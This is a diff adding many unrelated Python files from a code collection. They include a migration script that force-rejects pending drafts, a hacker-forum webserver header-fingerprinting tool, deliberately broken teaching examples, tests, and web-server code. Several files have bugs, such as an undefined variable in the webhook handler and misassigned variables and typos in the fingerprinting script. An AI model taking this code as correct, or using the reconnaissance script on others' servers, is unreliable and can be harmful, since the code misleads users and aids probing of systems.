add_comments(draft): + comment = [{ + 'user': { + 'id': 'itsMe', + 'name': 'Mario!' + }, + 'value': 'Ahoy! This is a comment!', + 'lastModified': dt.datetime.utcnow().isoformat() + }] + for question_id, value in draft.registration_metadata.iteritems(): + value['comments'] = comment + draft.save() + +def main(dry_run=True): + if dry_run: + logger.warn('DRY RUN mode') + pending_approval_drafts = DraftRegistration.find() + need_approval_drafts = [draft for draft in pending_approval_drafts + if draft.requires_approval and draft.approval and draft.approval.state == Sanction.UNAPPROVED] + + for draft in need_approval_drafts: + add_comments(draft) + sanction = draft.approval + try: + if not dry_run: + sanction.forcibly_reject() + #manually do the on_reject functionality to prevent send_mail problems + sanction.meta = {} + sanction.save() + draft.approval = None + draft.save() + logger.warn('Rejected {0}'.format(draft._id)) + except Exception as e: + logger.error(e) + +if __name__ == '__main__': + dry_run = 'dry' in sys.argv + init_app(routes=False) + main(dry_run=dry_run) diff --git a/pool/shard009/Python/0081668_wwwsrvinfo.py b/pool/shard009/Python/0081668_wwwsrvinfo.py new file mode 100644 index 0000000000000000000000000000000000000000..e766094fbc8ee415d768d00aa38a85c3237cf6b1 --- /dev/null +++ b/pool/shard009/Python/0081668_wwwsrvinfo.py @@ -0,0 +1,76 @@ +#!/usr/bin/python +# low1z // forum.darkc0de.com // may09 +# Webserver Identification + +import urllib2, string, sys + +fpDate = 'n/a' +fpServer = 'n/a' +fpAR = 'n/a' +fpV = 'n/a' +fpCL = 'n/a' +fpC = 'n/a' +fpCT = 'n/a' +fpExp = 'n/a' +fpSC = 'n/a' +fpTE = 'n/a' +fpCC = 'n/a' + +def srvinfo(url): + global fpDate, fpServer, fpAR, fpV, fpCL, fpC, fpCT, fpExp, fpSC, fpTE, fpCC + req = urllib2.Request(url) + url_handle = urllib2.urlopen(req) + UHi = url_handle.info() + + uhitmp = str(UHi).replace('\r','') + uhi_ready = uhitmp.split('\n') + for x in range(0, len(uhi_ready)): + if 'Date:' in uhi_ready[x]: + fpDate = uhi_ready[x].split('Date: ')[1] + if 'Server:' in uhi_ready[x]: + fpServer = uhi_ready[x].split('Server: ')[1] + if 'Accept-Ranges:' in uhi_ready[x]: + fpAR = uhi_ready[x].split('Accept-Ranges: ')[1] + if 'Vary:' in uhi_ready[x]: + fpV = uhi_ready[x].split('Vary: ')[1] + if 'Content-Length:' in uhi_ready[x]: + fpCL = uhi_ready[x].split('Content-Length: ')[1] + if 'Connection:' in uhi_ready[x]: + fpC = uhi_ready[x].split('Connection: ')[1] + if 'Content-Type:' in uhi_ready[x]: + fpCT = uhi_ready[x].split('Content-Type: ')[1] + if 'Expires:' in uhi_ready[x]: + fpExp = uhi_ready[x].split('Expires: ')[1] + if 'Set-Cookie:' in uhi_ready[x]: + fpSC = uhi_ready[x].split('Set-Cookie: ')[1] + if 'Transfer-Encoding:' in uhi_ready[x]: + fpTC = uhi_ready[x].split('Transfer-Encoding: ')[1] + if 'Cache-Control:' in uhi_ready[x]: + fpCC = uhi_ready[x].split('Cache-Control: ')[1] + + srviDic = { 'Date:': fpDate, + 'Server:': fpServer, + 'Accept-Ranges:': fpAR, + 'Vary:': fpV, + 'Content-Lenght:': fpCL, + 'Connection:': fpC, + 'Content-Type:': fpCT, + 'Expires:': fpExp, + 'Set-Cookie:': fpSC, + 'Transfer-Encoding:': fpTE, + 'Cache-Control:': fpCC } + print "\n" + print url + print "\n" + for desc, value in srviDic.items(): + print desc, value + +if len(sys.argv) <= 1: + print "\n\nUniform Resource Locator bro... dont you get it?\n\n" + sys.exit(1) +else: + usrurl = sys.argv[1] + if usrurl.startswith('http'): + srvinfo(usrurl) + else: + srvinfo('http://'+usrurl) diff --git a/pool/shard009/Python/0081672_examples-tips6.py b/pool/shard009/Python/0081672_examples-tips6.py new file mode 100644 index 0000000000000000000000000000000000000000..523fce8a06225037f9dd5d3ec6f3bc02422ebde9 --- /dev/null +++ b/pool/shard009/Python/0081672_examples-tips6.py @@ -0,0 +1,75 @@ +################### +# Broken code + +class ball: + def ball(pos, rad): + position = pos + radius = rad + return ball + + def get_position(): + return position + +b = ball([0,0], 10) + +print get_position(b) + + + +################### +# Fixed code + +class Ball: + def __init__(self, pos, rad): + self.position = pos + self.radius = rad + + def get_position(self): + return self.position + +b = Ball([0,0], 10) + +print b.get_position() + + +################## +# Example while + +def countdown(n): + """Print the values from n to 0.""" + + i = n + while i >= 0: + print i + i -= 1 + +countdown(5) + + +################## +# Collatz + +def collatz(n): + """Prints the values in the Collatz sequence for n.""" + + i = n + while i > 1: + print i + + if i % 2 == 0: + i = i / 2 + else: + i = 3 * i + 1 + +colnatz(1000) + + +################# +# Timeout + +i = 1 +while i > 0: + i += 1 + +print "Done!" + diff --git a/pool/shard009/Python/0081673_test_contact_form.py b/pool/shard009/Python/0081673_test_contact_form.py new file mode 100644 index 0000000000000000000000000000000000000000..ab5ac4848c090f824ef8803ec54b9c325ef40db7 --- /dev/null +++ b/pool/shard009/Python/0081673_test_contact_form.py @@ -0,0 +1,24 @@ +from django.test import TestCase + +from user_contacts.models import Person +from user_contacts.new_contact_form import ContactForm + + +class TestContactForm(TestCase): + def test_if_valid_contact_is_saved(self): + data = { + 'first_name': 'test', + 'last_name': 'test', + 'number': '123450000'} + + form = ContactForm(data) + form.save() + + def test_if_invalid_contact_is_not_saved(self): + data = { + 'first_name': 'tes&t', + 'last_name': 'test', + 'number': '83883333'} + form = ContactForm(data) + contact = form.save() + self.assertEquals(contact, None) diff --git a/pool/shard009/Python/0081676_test_basic.py b/pool/shard009/Python/0081676_test_basic.py new file mode 100644 index 0000000000000000000000000000000000000000..d5f23ba868aa5fd7ee05461cec50711ef7d04bee --- /dev/null +++ b/pool/shard009/Python/0081676_test_basic.py @@ -0,0 +1,54 @@ +from __future__ import (absolute_import, division, print_function, + unicode_literals) + +import six + +from nose.tools import assert_equal + +from matplotlib.testing.decorators import knownfailureif +from pylab import * + + +def test_simple(): + assert_equal(1 + 1, 2) + + +@knownfailureif(True) +def test_simple_knownfail(): + # Test the known fail mechanism. + assert_equal(1 + 1, 3) + + +def test_override_builtins(): + ok_to_override = set([ + '__name__', + '__doc__', + '__package__', + '__loader__', + '__spec__', + 'any', + 'all', + 'sum' + ]) + + # We could use six.moves.builtins here, but that seems + # to do a little more than just this. + if six.PY3: + builtins = sys.modules['builtins'] + else: + builtins = sys.modules['__builtin__'] + + overridden = False + for key in globals().keys(): + if key in dir(builtins): + if (globals()[key] != getattr(builtins, key) and + key not in ok_to_override): + print("'%s' was overridden in globals()." % key) + overridden = True + + assert not overridden + + +if __name__ == '__main__': + import nose + nose.runmodule(argv=['-s', '--with-doctest'], exit=False) diff --git a/pool/shard009/Python/0081679_uninstall.py b/pool/shard009/Python/0081679_uninstall.py new file mode 100644 index 0000000000000000000000000000000000000000..8db04dd973980fc9bf70faf308c1a8070461e712 --- /dev/null +++ b/pool/shard009/Python/0081679_uninstall.py @@ -0,0 +1,50 @@ +# Copyright 2016 The Meson development team + +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at + +# http://www.apache.org/licenses/LICENSE-2.0 + +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +import os +import typing as T + +logfile = 'meson-logs/install-log.txt' + +def do_uninstall(log: str) -> None: + failures = 0 + successes = 0 + for line in open(log): + if line.startswith('#'): + continue + fname = line.strip() + try: + if os.path.isdir(fname) and not os.path.islink(fname): + os.rmdir(fname) + else: + os.unlink(fname) + print('Deleted:', fname) + successes += 1 + except Exception as e: + print(f'Could not delete {fname}: {e}.') + failures += 1 + print('\nUninstall finished.\n') + print('Deleted:', successes) + print('Failed:', failures) + print('\nRemember that files created by custom scripts have not been removed.') + +def run(args: T.List[str]) -> int: + if args: + print('Weird error.') + return 1 + if not os.path.exists(logfile): + print('Log file does not exist, no installation has been done.') + return 0 + do_uninstall(logfile) + return 0 diff --git a/pool/shard009/Python/0081690_announce.py b/pool/shard009/Python/0081690_announce.py new file mode 100644 index 0000000000000000000000000000000000000000..aebe479dc04f476aecb333efb98529f885e5d163 --- /dev/null +++ b/pool/shard009/Python/0081690_announce.py @@ -0,0 +1,76 @@ +# This file is part of fedmsg. +# Copyright (C) 2012 Red Hat, Inc. +# +# fedmsg is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# fedmsg is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with fedmsg; if not, write to the Free Software +# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +# +# Authors: Ralph Bean +# +import sys + +import fedmsg +from fedmsg.commands import BaseCommand + + +class AnnounceCommand(BaseCommand): + """ + Emit an announcement message to the FI bus. + + Example:: + + $ echo "Fedora Core 4 has been declared GOLD" | fedmsg-announce \ + --link https://fedoraproject.org/news + + Technically this command is a simpler version of fedmsg-logger that emits + on a special topic. It is expected that :ref:`conf-routing-policy` is + specified such that only restricted parties can issue fedmsg announcements. + + This command expects its message to come from stdin. + """ + + name = "fedmsg-announce" + extra_args = [ + (['--link'], { + 'dest': 'link', + 'metavar': "URL", + 'default': None, + 'help': "Specify a link to go along with the announcement.", + }), + ] + + def run(self): + # This specifies that a special certificate should be used to sign this + # message. At the sysadmin level, you are responsible for taking care + # of two things: + # 1) That the announce cert is readable only by appropriate persons. + # 2) That the routing_policy is setup so that "announce.announcement" + # messages are valid only if signed by such a certificate. + self.config['cert_prefix'] = "announce" + + # This just specifies that we should be talking to the fedmsg-relay. + self.config['active'] = True + self.config['name'] = 'relay_inbound' + fedmsg.init(**self.config) + + # Read in and setup our message. Include --link, even if it is None. + message = "\n".join(map(str.strip, sys.stdin.readlines())) + msg = dict(message=message, link=self.config['link']) + + # Fire! + fedmsg.publish(modname="announce", topic="announcement", msg=msg) + + +def announce(): + command = AnnounceCommand() + command.execute() diff --git a/pool/shard009/Python/0081693_main.py b/pool/shard009/Python/0081693_main.py new file mode 100644 index 0000000000000000000000000000000000000000..101c9c0313418cf5ff2b48fedc06a6d033bc35c8 --- /dev/null +++ b/pool/shard009/Python/0081693_main.py @@ -0,0 +1,81 @@ +# -*- coding: utf-8 -*- + +from audiostash import settings +import mimetypes +import logging +import argparse +import sys + +from audiostash.common.tables import database_init +from tornado import web, ioloop +from sockjs.tornado import SockJSRouter +from audiostash.webui.sockethandler import AudioStashSock +from audiostash.webui.trackhandler import TrackHandler +from audiostash.webui.coverhandler import CoverHandler + + +if __name__ == '__main__': + # Handle arguments + parser = argparse.ArgumentParser(description="Audiostash Web UI server") + args = parser.parse_args() + + # Find correct log level + level = { + 0: logging.DEBUG, + 1: logging.INFO, + 2: logging.WARNING, + 3: logging.ERROR, + 4: logging.CRITICAL + }[settings.LOG_LEVEL] + + # Set up the global log + log_format = '[%(asctime)s] %(message)s' + log_datefmt = '%d.%m.%Y %I:%M:%S' + if settings.DEBUG: + logging.basicConfig(stream=sys.stdout, + level=level, + format=log_format, + datefmt=log_datefmt) + else: + logging.basicConfig(filename=settings.STASH_LOGFILE, + filemode='ab', + level=level, + format=log_format, + datefmt=log_datefmt) + + log = logging.getLogger(__name__) + + # Some log info + log.info(u"Starting AudioStash server.") + log.info(u"Public path = %s", settings.PUBLIC_PATH) + log.info(u"Server port = %s", settings.PORT) + + # Set up database + database_init(settings.DATABASE_CONFIG) + + # Set up mimetypes + mimetypes.init() + + # SockJS interface + router = SockJSRouter(AudioStashSock, '/sock') + + # Index and static handlers + handlers = router.urls + [ + (r'/track/([a-z0-9]+)/(\d+).mp3$', TrackHandler), + (r'/cover/([a-z0-9]+)/(\d)/(\d+)$', CoverHandler), + (r'/(.*)$', web.StaticFileHandler, {'path': settings.PUBLIC_PATH, 'default_filename': 'index.html'}), + ] + + conf = { + 'debug': settings.DEBUG, + } + + # Start up everything + app = web.Application(handlers, **conf) + app.listen(settings.PORT) + loop = ioloop.IOLoop.instance() + try: + loop.start() + except KeyboardInterrupt: + loop.stop() + log.info(u"Stopping AudioStash server.") diff --git a/pool/shard009/Python/0081694_ALDS1_5-A.py b/pool/shard009/Python/0081694_ALDS1_5-A.py new file mode 100644 index 0000000000000000000000000000000000000000..6fb11f56a9cb00f1c6494fdca90043f911e18e2d --- /dev/null +++ b/pool/shard009/Python/0081694_ALDS1_5-A.py @@ -0,0 +1,23 @@ +""" +Brute Force +""" + +from itertools import combinations + +def main(): + n = int(raw_input()) + a = map(int, raw_input().split()) + q = int(raw_input()) + m = map(int, raw_input().split()) + num = [] + for i in xrange(1, n + 1): + for v in combinations(a, i): + num.append(sum(v)) + for k in m: + if k in num: + print "yes" + else: + print "no" + +if __name__ == '__main__': + main() diff --git a/pool/shard009/Python/0081695_webhook.py b/pool/shard009/Python/0081695_webhook.py new file mode 100644 index 0000000000000000000000000000000000000000..5a9bf5ade4e514204e14e9442e9861709dd460ff --- /dev/null +++ b/pool/shard009/Python/0081695_webhook.py @@ -0,0 +1,36 @@ +import bottle +from bottle import post, request, response, parse_auth +import json + +class WebHookHandler: + def __init__(self, username, password, callback, log): + self.username = username + self.password = password + self.callback = callback + self.log = log + self.application = bottle.Bottle() + self.application.route('/', method='POST', callback=self.handle) + + def _raise(self, code, message): + if self.log: + self.log.error('Returning %s: %s', code, message) + raise bottle.HTTPError(code, message) + + def require_auth(fn): + def check(self, *args, **kwargs): + auth = request.get_header('Authorization') + if auth: + (user, password) = parse_auth(auth) + if user == self.username and password == self.password: + return fn(self, *args, **kwargs) + self._raise(401, 'Requires auth') + + return check + + @require_auth + def handle(self): + if self.log: + self.log.debug('Webhook push request: %s', data) + + self.callback(request.json) + return "OK" diff --git a/pool/shard009/Python/0081696_invoicebase_changed_state.py b/pool/shard009/Python/0081696_invoicebase_changed_state.py new file mode 100644 index 0000000000000000000000000000000000000000..e6a7a03e434980f2cf930fccfd1d435f5f10ea51 --- /dev/null +++ b/pool/shard009/Python/0081696_invoicebase_changed_state.py @@ -0,0 +1,116 @@ +# -*- coding:Utf-8 -*- + +from tastypie import fields as base_fields +from tastypie_mongoengine import fields + +from timeline.api.resources.base import TimelineEntryBaseResource +from timeline.api.doc import HELP_TEXT +from timeline.models import invoicing_entries + + +__all__ = ( + 'QuotationChangedStateResource', + 'PurchaseOrderChangedStateResource', + 'InvoiceChangedStateResource', + 'DownPaymentInvoiceChangedStateResource', + 'CreditNoteChangedStateResource', +) + + +class InvoiceBaseChangedStateResource(TimelineEntryBaseResource): + previous_state = base_fields.CharField( + attribute='previous_state', + help_text=HELP_TEXT['invoicebase_changed_state']['previous_state'], + ) + new_state = base_fields.CharField( + attribute='new_state', + help_text=HELP_TEXT['invoicebase_changed_state']['new_state'], + ) + + class Meta(TimelineEntryBaseResource.Meta): + pass + + +class QuotationChangedStateResource(InvoiceBaseChangedStateResource): + quotation_reference = base_fields.CharField( + attribute='quotation__reference', + help_text=HELP_TEXT['invoicebase_saved']['quotation_reference'], + ) + + quotation = fields.ReferenceField( + to='invoicing.api.resources.QuotationResource', + attribute='quotation', + help_text=HELP_TEXT['invoicebase_changed_state']['quotation'] + ) + + class Meta(InvoiceBaseChangedStateResource.Meta): + resource_name = 'quotation_changed_state' + object_class = invoicing_entries.QuotationChangedState + + +class PurchaseOrderChangedStateResource(InvoiceBaseChangedStateResource): + purchase_order_reference = base_fields.CharField( + attribute='purchase_order__reference', + help_text=HELP_TEXT['invoicebase_saved']['purchase_order_reference'], + ) + + purchase_order = fields.ReferenceField( + to='invoicing.api.resources.PurchaseOrderResource', + attribute='purchase_order', + help_text=HELP_TEXT['invoicebase_changed_state']['purchase_order'] + ) + + class Meta(InvoiceBaseChangedStateResource.Meta): + resource_name = 'purchase_order_changed_state' + object_class = invoicing_entries.PurchaseOrderChangedState + + +class InvoiceChangedStateResource(InvoiceBaseChangedStateResource): + invoice_reference = base_fields.CharField( + attribute='invoice__reference', + help_text=HELP_TEXT['invoicebase_saved']['invoice_reference'], + ) + + invoice = fields.ReferenceField( + to='invoicing.api.resources.InvoiceResource', + attribute='invoice', + help_text=HELP_TEXT['invoicebase_changed_state']['invoice'] + ) + + class Meta(InvoiceBaseChangedStateResource.Meta): + resource_name = 'invoice_changed_state' + object_class = invoicing_entries.InvoiceChangedState + + +class DownPaymentInvoiceChangedStateResource(InvoiceBaseChangedStateResource): + down_payment_invoice_reference = base_fields.CharField( + attribute='down_payment_invoice__reference', + help_text=HELP_TEXT['invoicebase_saved']['down_payment_invoice_reference'], + ) + + down_payment_invoice = fields.ReferenceField( + to='invoicing.api.resources.DownPaymentInvoiceResource', + attribute='down_payment_invoice', + help_text=HELP_TEXT['invoicebase_changed_state']['down_payment_invoice'] + ) + + class Meta(InvoiceBaseChangedStateResource.Meta): + resource_name = 'down_payment_invoice_changed_state' + object_class = invoicing_entries.DownPaymentInvoiceChangedState + + +class CreditNoteChangedStateResource(InvoiceBaseChangedStateResource): + credit_note_reference = base_fields.CharField( + attribute='credit_note__reference', + help_text=HELP_TEXT['invoicebase_saved']['credit_note_reference'], + ) + + credit_note = fields.ReferenceField( + to='invoicing.api.resources.CreditNoteResource', + attribute='credit_note', + help_text=HELP_TEXT['invoicebase_changed_state']['credit_note'] + ) + + class Meta(InvoiceBaseChangedStateResource.Meta): + resource_name = 'credit_note_changed_state' + object_class = invoicing_entries.CreditNoteChangedState diff --git a/pool/shard009/Python/0081698_bpms_routes.py b/pool/shard009/Python/0081698_bpms_routes.py new file mode 100644 index 0000000000000000000000000000000000000000..87399577a57e706035f8cf7bc016a8b6d902057d --- /dev/null +++ b/pool/shard009/Python/0081698_bpms_routes.py @@ -0,0 +1,138 @@ +from slamon.afm.tables import Task +from slamon.afm.afm_app import app +from slamon.slamon_logging import getSLAMonLogger +from sqlalchemy.orm.exc import NoResultFound +from sqlalchemy.exc import IntegrityError, ProgrammingError +from bottle import request, HTTPError +from slamon.afm.database import create_session +import jsonschema +import json + +logger = getSLAMonLogger(__name__) + +post_task_schema = { + 'type': 'object', + 'properties': { + 'task_id': { + 'type': 'string', + 'pattern': '^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12}$' + }, + 'task_type': { + 'type': 'string' + }, + 'task_version': { + 'type': 'integer' + }, + 'task_data': { + 'type': 'object' + }, + 'test_id': { + 'type': 'string', + 'pattern': '^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12}$' + } + }, + 'required': ['task_id', 'task_type', 'task_version', 'test_id'], + 'additionalProperties': False +} + + +@app.post('/task') +@app.post('/task/') +def post_task(): + data = request.json + + if data is None: + raise HTTPError(400) + + try: + jsonschema.validate(data, post_task_schema) + except jsonschema.ValidationError: + raise HTTPError(400) + + session = create_session() + + task_uuid = str(data['task_id']) + task_type = str(data['task_type']) + task_test_id = (data['test_id']) + task_data = "" + + task = Task( + uuid=task_uuid, + type=task_type, + version=int(data['task_version']), + test_id=task_test_id + ) + + if 'task_data' in data: + task_data = json.dumps(data['task_data']) + task.data = task_data + + try: + session.add(task) + except IntegrityError: + session.rollback() + raise HTTPError(400) + + try: + session.commit() + except (IntegrityError, ProgrammingError): + session.rollback() + logger.error("Failed to commit database changes for BPMS task POST") + raise HTTPError(400) + finally: + session.close() + + logger.info("Task posted by BPMS - Task's type: {}, test process id: {}, uuid: {}, parameters: {}" + .format(task_type, task_test_id, task_uuid, task_data)) + + +@app.get('/task/') +@app.get('/task//') +def get_task(task_uuid: str): + """ + Gets information about single task with uuid task_uuid + :param task_uuid: uuid of the task + :return: dict in following format + { + 'task_id': 'de305d54-75b4-431b-adb2-eb6b9e546013', # UUID of the task (str) + 'test_id': 'de305d54-75b4-431b-adb2-eb6b9e546013', # UUID of the test (str) + 'task_type': 'wait', # type of the task (str) + 'task_version': 1, # Version number of the task + 'task_data': {}, # Dict containing data passed to the task (if any) + 'task_completed': '31-03-2015:12:12:12', # Time when task was completed (if completed) + 'task_result': {}, # Dict containing task's results (if completed) + 'task_failed': '31-03-2015:12:12:12', # Time when task failed (if failed) + 'task_error': 'Something went wrong' # Error that caused task to fail (if failed) + } + """ + try: + session = create_session() + except: + raise HTTPError(500) + + try: + query = session.query(Task) + task = query.filter(Task.uuid == str(task_uuid)).one() + except NoResultFound: + raise HTTPError(404) + finally: + session.close() + + task_desc = { + 'task_id': task.uuid, + 'test_id': task.test_id, + 'task_type': task.type, + 'task_version': task.version + } + + if task.data is not None: + task_desc['task_data'] = json.loads(task.data) + + if task.failed: + task_desc['task_failed'] = str(task.failed) + task_desc['task_error'] = str(task.error) + elif task.completed: + task_desc['task_completed'] = str(task.completed) + task_desc['task_result'] = json.loads(task.result_data) + + return task_desc diff --git a/pool/shard009/Python/0081700_episode.py b/pool/shard009/Python/0081700_episode.py new file mode 100644 index 0000000000000000000000000000000000000000..eec692959a8f9f1bb6e9cc6c10fd873c1d6ab467 --- /dev/null +++ b/pool/shard009/Python/0081700_episode.py @@ -0,0 +1,249 @@ +""" +Represents the state of a TV Episode based on a filename and additional +information from a data service. + +Available actions on the Episode: + + - parse: retrieve information about TV Episode from elements of name + - enhance: lookup additional information based on parsed elements + - rename: change the name of file based on most up-to-date info + and optionally change location. + +The only input is an absolute path of a filename. Everything is controlled +via the provided configuration. +""" +import logging +import os + +from oslo_config import cfg +import six + +from tvrenamer import constants as const +from tvrenamer.core import formatter +from tvrenamer.core import parser +from tvrenamer.core import renamer +from tvrenamer import exceptions as exc +from tvrenamer import services + +LOG = logging.getLogger(__name__) + + +def state(pre, post, attr='state'): + """State decorator""" + + def decorator(method): + @six.wraps(method) + def inner(self, *args, **kwargs): + setattr(self, attr, pre) + result = method(self, *args, **kwargs) + setattr(self, attr, post) + return result + return inner + return decorator + + +class Episode(object): + """Represents a TV episode.""" + + def __init__(self, epfile): + """:param str epfile: absolute path and filename of media file""" + + self.original = epfile + self.name = os.path.basename(epfile) + self.location = os.path.dirname(epfile) + self.extension = os.path.splitext(epfile)[1] + + self.clean_name = None + + self.episode_numbers = None + self.episode_names = None + self.season_number = None + self.series_name = None + + self.formatted_filename = None + self.formatted_dirname = None + self.out_location = None + + self._api = None + self.messages = [] + self.state = const.INIT + + def as_dict(self): + return {'original': self.original, + 'name': self.name, + 'location': self.location, + 'extension': self.extension, + 'clean_name': self.clean_name, + 'episode_numbers': self.episode_numbers, + 'episode_names': self.episode_names, + 'season_number': self.season_number, + 'series_name': self.series_name, + 'formatted_filename': self.formatted_filename, + 'formatted_dirname': self.formatted_dirname, + 'state': self.state, + 'messages': self.messages + } + + def __str__(self): + return ('{0} => [{1} {2}|{3} {4}] ' + 'meta: [{5} S{6} E{7}] ' + 'formatted: {8}/{9}'.format( + self.original, + self.location, + self.name, + self.clean_name, + self.extension, + self.series_name or '', + self.season_number or '', + list(zip( + self.episode_numbers or [], + self.episode_names or [])), + self.formatted_dirname or '', + self.formatted_filename or '')) + + __repr__ = __str__ + + def __call__(self): + """Provides ability to perform processing consistently.""" + try: + self.parse() + self.enhance() + self.format_name() + self.rename() + self.state = const.DONE + except Exception as err: + if not isinstance(err, exc.BaseTvRenamerException): + LOG.exception('processing exception occurred') + self.messages.append(str(err)) + self.state = const.FAILED + + return self + + @property + def api(self): + if self._api is None: + self._api = services.get_service() + return self._api + + @property + def status(self): + """Provides current status of processing episode. + + Structure of status: + + original_filename => formatted_filename, state, messages + + :returns: mapping of current processing state + :rtype: dict + """ + return { + self.original: { + 'formatted_filename': self.out_location, + 'state': self.state, + 'messages': '\n\t'.join(self.messages), + } + } + + @state(pre=const.PREPARSE, post=const.POSTPARSE) + def parse(self): + """Extracts component keys from filename. + + :raises tvrenamer.exceptions.InvalidFilename: + when filename was not parseable + :raises tvrenamer.exceptions.ConfigValueError: + when regex used for parsing was incorrectly configured + """ + + self.clean_name = formatter.apply_replacements( + self.name, cfg.CONF.input_filename_replacements) + + output = parser.parse_filename(self.clean_name) + + if output is None: + self.messages.append( + 'Invalid filename: unable to parse {0}'.format( + self.clean_name)) + LOG.info(self.messages[-1]) + raise exc.InvalidFilename(self.messages[-1]) + + self.episode_numbers = output.get('episode_numbers') + if self.episode_numbers is None: + self.messages.append( + 'Regex does not contain episode number group, ' + 'should contain episodenumber, episodenumber1-9, ' + 'or episodenumberstart and episodenumberend\n\n' + 'Pattern was:\n' + output.get('pattern')) + LOG.info(self.messages[-1]) + raise exc.ConfigValueError(self.messages[-1]) + + self.series_name = output.get('series_name') + if self.series_name is None: + self.messages.append( + 'Regex must contain seriesname. Pattern was:\n' + + output.get('pattern')) + LOG.info(self.messages[-1]) + raise exc.ConfigValueError(self.messages[-1]) + + self.series_name = formatter.clean_series_name(self.series_name) + self.season_number = output.get('season_number') + + @state(pre=const.PREENHANCE, post=const.POSTENHANCE) + def enhance(self): + """Load metadata from a data service to improve naming. + + :raises tvrenamer.exceptions.ShowNotFound: + when unable to find show/series name based on parsed name + :raises tvrenamer.exceptions.EpisodeNotFound: + when unable to find episode name(s) based on parsed data + """ + + series, error = self.api.get_series_by_name(self.series_name) + + if series is None: + self.messages.append(str(error)) + LOG.info(self.messages[-1]) + raise exc.ShowNotFound(str(error)) + + self.series_name = self.api.get_series_name(series) + self.episode_names, error = self.api.get_episode_name( + series, self.episode_numbers, self.season_number) + + if self.episode_names is None: + self.messages.append(str(error)) + LOG.info(self.messages[-1]) + raise exc.EpisodeNotFound(str(error)) + + @state(pre=const.PREFORMAT, post=const.POSTFORMAT) + def format_name(self): + """Formats the media file based on enhanced metadata. + + The actual name of the file and even the name of the directory + structure where the file is to be stored. + """ + self.formatted_filename = formatter.format_filename( + self.series_name, self.season_number, + self.episode_numbers, self.episode_names, + self.extension) + + self.formatted_dirname = self.location + if cfg.CONF.move_files_enabled: + self.formatted_dirname = formatter.format_location( + self.series_name, self.season_number) + + self.out_location = os.path.join(self.formatted_dirname, + self.formatted_filename) + + @state(pre=const.PRENAME, post=const.POSTNAME) + def rename(self): + """Renames media file to formatted name. + + After parsing data from initial media filename and searching + for additional data to using a data service, a formatted + filename will be generated and the media file will be renamed + to the generated name and optionally relocated. + """ + renamer.execute(self.original, self.out_location) + if cfg.CONF.move_files_enabled: + LOG.debug('relocated: %s', self) + else: + LOG.debug('renamed: %s', self) diff --git a/pool/shard009/Python/0081701_test_permissions.py b/pool/shard009/Python/0081701_test_permissions.py new file mode 100644 index 0000000000000000000000000000000000000000..bcae71f9151aa05e5d356e52937d10342fbe8603 --- /dev/null +++ b/pool/shard009/Python/0081701_test_permissions.py @@ -0,0 +1,54 @@ +""" +Tests for the Third Party Auth permissions +""" +import unittest +import ddt +from mock import Mock + +from rest_framework.test import APITestCase +from django.conf import settings +from third_party_auth.api.permissions import ThirdPartyAuthProviderApiPermission + +from third_party_auth.tests.testutil import ThirdPartyAuthTestMixin + +IDP_SLUG_TESTSHIB = 'testshib' +PROVIDER_ID_TESTSHIB = 'saml-' + IDP_SLUG_TESTSHIB + + +@ddt.ddt +@unittest.skipUnless(settings.ROOT_URLCONF == 'lms.urls', 'Test only valid in lms') +class ThirdPartyAuthApiPermissionTest(ThirdPartyAuthTestMixin, APITestCase): + """ Tests for third party auth API permission """ + def setUp(self): + """ Create users and oauth client for use in the tests """ + super(ThirdPartyAuthApiPermissionTest, self).setUp() + + client = self.configure_oauth_client() + self.configure_api_permission(client, PROVIDER_ID_TESTSHIB) + + @ddt.data( + (1, PROVIDER_ID_TESTSHIB, True), + (1, 'invalid-provider-id', False), + (999, PROVIDER_ID_TESTSHIB, False), + (999, 'invalid-provider-id', False), + (1, None, False), + ) + @ddt.unpack + def test_api_permission(self, client_pk, provider_id, expect): + request = Mock() + request.auth = Mock() + request.auth.client_id = client_pk + + result = ThirdPartyAuthProviderApiPermission(provider_id).has_permission(request, None) + self.assertEqual(result, expect) + + def test_api_permission_unauthorized_client(self): + client = self.configure_oauth_client() + self.configure_api_permission(client, 'saml-anotherprovider') + + request = Mock() + request.auth = Mock() + request.auth.client_id = client.pk + + result = ThirdPartyAuthProviderApiPermission(PROVIDER_ID_TESTSHIB).has_permission(request, None) + self.assertEqual(result, False) diff --git a/pool/shard009/Python/0081702_bageraset_bruiser.py b/pool/shard009/Python/0081702_bageraset_bruiser.py new file mode 100644 index 0000000000000000000000000000000000000000..98233055448fbd7d01aa98d93174365eb536a04d --- /dev/null +++ b/pool/shard009/Python/0081702_bageraset_bruiser.py @@ -0,0 +1,47 @@ +import sys +from services.spawn import MobileTemplate +from services.spawn import WeaponTemplate +from resources.datatables import WeaponType +from resources.datatables import Difficulty +from resources.datatables import Options +from java.util import Vector + +def addTemplate(core): + mobileTemplate = MobileTemplate() + + mobileTemplate.setCreatureName('bageraset_bruiser') + mobileTemplate.setLevel(9) + mobileTemplate.setDifficulty(Difficulty.NORMAL) + mobileTemplate.setMinSpawnDistance(4) + mobileTemplate.setMaxSpawnDistance(8) + mobileTemplate.setDeathblow(False) + mobileTemplate.setScale(1) + mobileTemplate.setMeatType("Herbivore Meat") + mobileTemplate.setMeatAmount(230) + mobileTemplate.setHideType("Leathery Hide") + mobileTemplate.setHideAmount(130) + mobileTemplate.setBoneType("Animal Bones") + mobileTemplate.setBoneAmount(80) + mobileTemplate.setSocialGroup("bageraset") + mobileTemplate.setAssistRange(0) + mobileTemplate.setStalker(False) + mobileTemplate.setOptionsBitmask(Options.ATTACKABLE) + + 